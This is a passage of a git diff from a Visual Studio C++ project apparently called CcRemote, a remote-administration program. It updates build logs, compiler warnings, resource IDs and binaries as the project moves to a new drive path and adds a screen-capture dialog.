deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 + CSettingDlg.cpp + CShellDlg.cpp +g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 +g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配 +g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(208): warning C4018: “<=”: 有符号/无符号不匹配 +g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(218): warning C4018: “<”: 有符号/无符号不匹配 + CSystemDlg.cpp +g:\ccremote\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 CpuUsage.cpp + IniFile.cpp +g:\ccremote\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 + SEU_QQwry.cpp TrueColorToolBar.cpp 正在生成代码... Buffer.cpp IOCPServer.cpp -g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(129): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings +g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明 -g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(715): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings +g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(718): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 -g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(764): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据 -g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(910): warning C4018: “>=”: 有符号/无符号不匹配 +g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(767): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据 +g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(913): warning C4018: “>=”: 有符号/无符号不匹配 正在生成代码... - CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\Debug\CcRemote.exe + CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe diff --git a/CcRemote/CcRemote/Debug/CcRemote.res b/CcRemote/CcRemote/Debug/CcRemote.res index d24ccef..cc8013f 100644 Binary files a/CcRemote/CcRemote/Debug/CcRemote.res and b/CcRemote/CcRemote/Debug/CcRemote.res differ diff --git a/CcRemote/CcRemote/Release/CcRemote.Build.CppClean.log b/CcRemote/CcRemote/Release/CcRemote.Build.CppClean.log index 5706f5f..fdb710c 100644 --- a/CcRemote/CcRemote/Release/CcRemote.Build.CppClean.log +++ b/CcRemote/CcRemote/Release/CcRemote.Build.CppClean.log @@ -1,30 +1,2 @@ -f:\myapp\ccremote\bin\ccremote.ipdb -f:\myapp\ccremote\bin\ccremote.iobj -f:\myapp\ccremote\ccremote\ccremote\release\ccremote.pch -f:\myapp\ccremote\ccremote\ccremote\release\vc141.pdb -f:\myapp\ccremote\ccremote\ccremote\release\pch.obj -f:\myapp\ccremote\ccremote\ccremote\release\truecolortoolbar.obj -f:\myapp\ccremote\ccremote\ccremote\release\seu_qqwry.obj -f:\myapp\ccremote\ccremote\ccremote\release\inifile.obj -f:\myapp\ccremote\ccremote\ccremote\release\cpuusage.obj -f:\myapp\ccremote\ccremote\ccremote\release\csystemdlg.obj -f:\myapp\ccremote\ccremote\ccremote\release\cshelldlg.obj -f:\myapp\ccremote\ccremote\ccremote\release\csettingdlg.obj -f:\myapp\ccremote\ccremote\ccremote\release\ccremotedlg.obj -f:\myapp\ccremote\ccremote\ccremote\release\ccremote.obj -f:\myapp\ccremote\ccremote\ccremote\release\iocpserver.obj -f:\myapp\ccremote\ccremote\ccremote\release\buffer.obj -f:\myapp\ccremote\bin\ccremote.exe -f:\myapp\ccremote\bin\ccremote.pdb -f:\myapp\ccremote\ccremote\ccremote\release\ccremote.res -f:\myapp\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe -f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\ccremote.write.1u.tlog -f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.command.1.tlog -f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.read.1.tlog -f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.write.1.tlog -f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\link.command.1.tlog -f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\link.read.1.tlog -f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\link.write.1.tlog -f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.command.1.tlog -f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.read.1.tlog -f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.write.1.tlog +g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.res +g:\ccremote\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe diff --git a/CcRemote/CcRemote/Release/CcRemote.log b/CcRemote/CcRemote/Release/CcRemote.log index 1b20444..a2becc0 100644 --- a/CcRemote/CcRemote/Release/CcRemote.log +++ b/CcRemote/CcRemote/Release/CcRemote.log @@ -1,41 +1,44 @@ -C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。 +G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。 pch.cpp CcRemote.cpp CcRemoteDlg.cpp -f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(161): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 -f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(166): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 -f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(307): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据 -f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(324): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据 -f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(794): warning C4018: “<=”: 有符号/无符号不匹配 -f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(876): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 +g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(161): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 +g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(166): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 +g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(307): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据 +g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(324): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据 +g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(794): warning C4018: “<=”: 有符号/无符号不匹配 +g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(876): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 + CScreenSpyDlg.cpp +g:\ccremote\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 CSettingDlg.cpp CShellDlg.cpp -f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 -f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配 -f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(208): warning C4018: “<=”: 有符号/无符号不匹配 -f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(218): warning C4018: “<”: 有符号/无符号不匹配 +g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 +g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配 +g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(208): warning C4018: “<=”: 有符号/无符号不匹配 +g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(218): warning C4018: “<”: 有符号/无符号不匹配 CSystemDlg.cpp -f:\myapp\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 +g:\ccremote\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 CpuUsage.cpp IniFile.cpp -f:\myapp\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 +g:\ccremote\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 SEU_QQwry.cpp TrueColorToolBar.cpp Buffer.cpp IOCPServer.cpp -f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明 -f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(718): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 -f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(767): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据 -f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(913): warning C4018: “>=”: 有符号/无符号不匹配 +g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明 +g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(718): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 +g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(767): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据 +g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(913): warning C4018: “>=”: 有符号/无符号不匹配 正在生成代码 - All 486 functions were compiled because no usable IPDB/IOBJ from previous compilation was found. + All 503 functions were compiled because no usable IPDB/IOBJ from previous compilation was found. 已完成代码的生成 - CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe + CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe diff --git a/CcRemote/CcRemote/Release/CcRemote.res b/CcRemote/CcRemote/Release/CcRemote.res index dec575b..6aece3a 100644 Binary files a/CcRemote/CcRemote/Release/CcRemote.res and b/CcRemote/CcRemote/Release/CcRemote.res differ diff --git a/CcRemote/CcRemote/Release/CcRemote.tlog/CcRemote.lastbuildstate b/CcRemote/CcRemote/Release/CcRemote.tlog/CcRemote.lastbuildstate index 346638a..cb3e57d 100644 --- a/CcRemote/CcRemote/Release/CcRemote.tlog/CcRemote.lastbuildstate +++ b/CcRemote/CcRemote/Release/CcRemote.tlog/CcRemote.lastbuildstate @@ -1,2 +1,2 @@ #TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0 -Release|Win32|F:\myapp\CcRemote\CcRemote\| +Release|Win32|G:\CcRemote\CcRemote\CcRemote\| diff --git a/CcRemote/CcRemote/pch.h b/CcRemote/CcRemote/pch.h index e908b61..68c7844 100644 --- a/CcRemote/CcRemote/pch.h +++ b/CcRemote/CcRemote/pch.h @@ -14,6 +14,7 @@ #include #include #include +#include #endif //PCH_H diff --git a/CcRemote/CcRemote/resource.h b/CcRemote/CcRemote/resource.h index 997bbca..daa2c0c 100644 --- a/CcRemote/CcRemote/resource.h +++ b/CcRemote/CcRemote/resource.h @@ -26,6 +26,8 @@ #define IDR_MENU4 147 #define IDR_PSLIST 147 #define IDR_WINDOW_LIST 148 +#define IDD_DIALOG1 149 +#define IDD_SCREENSPY 149 #define IDC_ONLINE 1000 #define IDC_LIST2 1001 #define IDC_MESSAGE 1001 @@ -108,7 +110,7 @@ // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 149 +#define _APS_NEXT_RESOURCE_VALUE 151 #define _APS_NEXT_COMMAND_VALUE 32839 #define _APS_NEXT_CONTROL_VALUE 1006 #define _APS_NEXT_SYMED_VALUE 101 diff --git a/bin/CcRemote.exe b/bin/CcRemote.exe index d038231..5875023 100644 Binary files a/bin/CcRemote.exe and b/bin/CcRemote.exe differ